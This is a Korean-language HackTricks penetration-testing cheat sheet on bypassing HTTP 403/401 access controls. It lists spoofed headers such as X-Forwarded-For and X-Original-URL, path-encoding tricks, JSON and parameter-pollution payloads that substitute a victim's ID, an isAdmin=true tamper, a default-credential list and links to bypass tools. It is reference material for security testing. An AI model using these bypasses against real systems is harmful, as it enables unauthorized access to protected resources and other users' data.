hacktricks/network-services-pentesting/pentesting-web/403-and-401-bypasses.md

158 lines
9.5 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 403 & 401 Bypasses
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **해킹 트릭을 공유하려면 [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하세요.**
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 그들이 더 깊이 파고들고, 셸을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
{% embed url="https://pentest-tools.com/" %}
## HTTP 동사/메서드 퍼징
파일에 접근하기 위해 **다양한 동사**를 사용해 보세요: `GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK`
* 응답 헤더를 확인하세요. 아마도 일부 정보가 제공될 수 있습니다. 예를 들어, **HEAD에 대한 200 응답**과 `Content-Length: 55`는 **HEAD 동사가 정보를 접근할 수 있음을 의미**합니다. 그러나 여전히 그 정보를 유출할 방법을 찾아야 합니다.
* `X-HTTP-Method-Override: PUT`과 같은 HTTP 헤더를 사용하면 사용된 동사를 덮어쓸 수 있습니다.
* **`TRACE`** 동사를 사용하고, 운이 좋다면 응답에서 유용할 수 있는 **중간 프록시가 추가한 헤더**를 볼 수 있습니다.
## HTTP 헤더 퍼징
* **Host 헤더**를 임의의 값으로 변경하세요 ([여기서 작동한 것](https://medium.com/@sechunter/exploiting-admin-panel-like-a-boss-fc2dd2499d31))
* 리소스에 접근하기 위해 [**다른 사용자 에이전트**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/User-Agents/UserAgents.fuzz.txt)를 사용해 보세요.
* **HTTP 헤더 퍼징**: HTTP 프록시 **헤더**, HTTP 인증 기본 및 NTLM 무차별 대입(몇 가지 조합만 사용) 및 기타 기술을 사용해 보세요. 이를 위해 [**fuzzhttpbypass**](https://github.com/carlospolop/fuzzhttpbypass) 도구를 만들었습니다.
* `X-Originating-IP: 127.0.0.1`
* `X-Forwarded-For: 127.0.0.1`
* `X-Forwarded: 127.0.0.1`
* `Forwarded-For: 127.0.0.1`
* `X-Remote-IP: 127.0.0.1`
* `X-Remote-Addr: 127.0.0.1`
* `X-ProxyUser-Ip: 127.0.0.1`
* `X-Original-URL: 127.0.0.1`
* `Client-IP: 127.0.0.1`
* `True-Client-IP: 127.0.0.1`
* `Cluster-Client-IP: 127.0.0.1`
* `X-ProxyUser-Ip: 127.0.0.1`
* `Host: localhost`
**경로가 보호되어 있는 경우** 이러한 다른 헤더를 사용하여 경로 보호를 우회해 보세요:
* `X-Original-URL: /admin/console`
* `X-Rewrite-URL: /admin/console`
* 페이지가 **프록시 뒤에 있는 경우**, 아마도 프록시가 개인 정보에 접근하는 것을 방지하고 있을 수 있습니다. [**HTTP 요청 스머글링**](../../pentesting-web/http-request-smuggling/) **또는** [**hop-by-hop 헤더**](../../pentesting-web/abusing-hop-by-hop-headers.md)**를 악용해 보세요.**
* [**특수 HTTP 헤더**](special-http-headers.md)를 퍼징하여 다양한 응답을 찾아보세요.
* **HTTP 메서드를 퍼징하는 동안 특수 HTTP 헤더를 퍼징하세요.**
* **Host 헤더를 제거하면 보호를 우회할 수 있을지도 모릅니다.**
## 경로 **퍼징**
_if_ /path가 차단된 경우:
* _**/**_**%2e/path를 사용해 보세요 _(접근이 프록시로 차단된 경우, 이 방법으로 보호를 우회할 수 있습니다). 또한**\_\*\* /%252e\*\*/path (이중 URL 인코딩)를 시도해 보세요.
* **유니코드 우회**를 시도하세요: _/**%ef%bc%8f**path_ (URL 인코딩된 문자는 "/"와 같으므로 다시 인코딩하면 _//path_가 되어 _/path_ 이름 검사를 이미 우회했을 수 있습니다.)
* **기타 경로 우회**:
* site.com/secret > HTTP 403 Forbidden
* site.com/SECRET > HTTP 200 OK
* site.com/secret/ > HTTP 200 OK
* site.com/secret/. > HTTP 200 OK
* site.com//secret// > HTTP 200 OK
* site.com/./secret/.. > HTTP 200 OK
* site.com/;/secret > HTTP 200 OK
* site.com/.;/secret > HTTP 200 OK
* site.com//;//secret > HTTP 200 OK
* site.com/secret.json > HTTP 200 OK (루비)
* 다음 상황에서 [**이 목록**](https://github.com/danielmiessler/SecLists/blob/master/Fuzzing/Unicode.txt)를 사용하세요:
* /FUZZsecret
* /FUZZ/secret
* /secretFUZZ
* **기타 API 우회:**
* /v3/users\_data/1234 --> 403 Forbidden
* /v1/users\_data/1234 --> 200 OK
* {“id”:111} --> 401 Unauthorized
* {“id”:\[111]} --> 200 OK
* {“id”:111} --> 401 Unauthorized
* {“id”:{“id”:111\}} --> 200 OK
* {"user\_id":"\<legit\_id>","user\_id":"\<victims\_id>"} (JSON 매개변수 오염)
* user\_id=ATTACKER\_ID\&user\_id=VICTIM\_ID (매개변수 오염)
## **매개변수 조작**
* **매개변수 값 변경**: **`id=123` --> `id=124`**
* URL에 추가 매개변수 추가: `?`**`id=124` —-> `id=124&isAdmin=true`**
* 매개변수 제거
* 매개변수 순서 변경
* 특수 문자 사용.
* 매개변수에서 경계 테스트 수행 — _-234_ 또는 _0_ 또는 _99999999_와 같은 값을 제공하세요 (몇 가지 예시 값).
## **프로토콜 버전**
HTTP/1.1을 사용하는 경우 **1.0을 사용해 보세요** 또는 **2.0을 지원하는지 테스트해 보세요**.
## **기타 우회**
* 도메인의 **IP** 또는 **CNAME**를 가져와서 **직접 연락해 보세요**.
* 일반 GET 요청을 보내 서버를 **스트레스 테스트**해 보세요 ([이 사람은 Facebook에서 작동했습니다](https://medium.com/@amineaboud/story-of-a-weird-vulnerability-i-found-on-facebook-fc0875eb5125)).
* **프로토콜 변경**: http에서 https로, 또는 https에서 http로 변경하세요.
* [**https://archive.org/web/**](https://archive.org/web/)에 가서 과거에 해당 파일이 **전 세계적으로 접근 가능했는지** 확인하세요.
## **무차별 대입**
* **비밀번호 추측**: 다음 일반 자격 증명을 테스트하세요. 피해자에 대해 아는 것이 있나요? 또는 CTF 챌린지 이름은 무엇인가요?
* [**무차별 대입**](../../generic-methodologies-and-resources/brute-force.md#http-brute)**:** 기본, 다이제스트 및 NTLM 인증을 시도해 보세요.
{% code title="일반 자격 증명" %}
```
admin admin
admin password
admin 1234
admin admin1234
admin 123456
root toor
test test
guest guest
```
{% endcode %}
## 자동 도구
* [https://github.com/lobuhi/byp4xx](https://github.com/lobuhi/byp4xx)
* [https://github.com/iamj0ker/bypass-403](https://github.com/iamj0ker/bypass-403)
* [https://github.com/gotr00t0day/forbiddenpass](https://github.com/gotr00t0day/forbiddenpass)
* [Burp Extension - 403 Bypasser](https://portswigger.net/bappstore/444407b96d9c4de0adb7aed89e826122)
* [Forbidden Buster](https://github.com/Sn1r/Forbidden-Buster)
* [NoMoreForbidden](https://github.com/akinerk/NoMoreForbidden)
<figure><img src="../../.gitbook/assets/image (14) (1).png" alt=""><figcaption></figcaption></figure>
**취약점 평가 및 침투 테스트를 위한 즉시 사용 가능한 설정**. 20개 이상의 도구 및 기능을 사용하여 어디서나 전체 침투 테스트를 실행하세요. 우리는 침투 테스터를 대체하지 않습니다 - 그들이 더 깊이 파고들고, 쉘을 터뜨리고, 재미를 느낄 수 있도록 맞춤형 도구, 탐지 및 악용 모듈을 개발합니다.
{% embed url="https://pentest-tools.com/" %}
{% hint style="success" %}
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricks 지원하기</summary>
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
</details>
{% endhint %}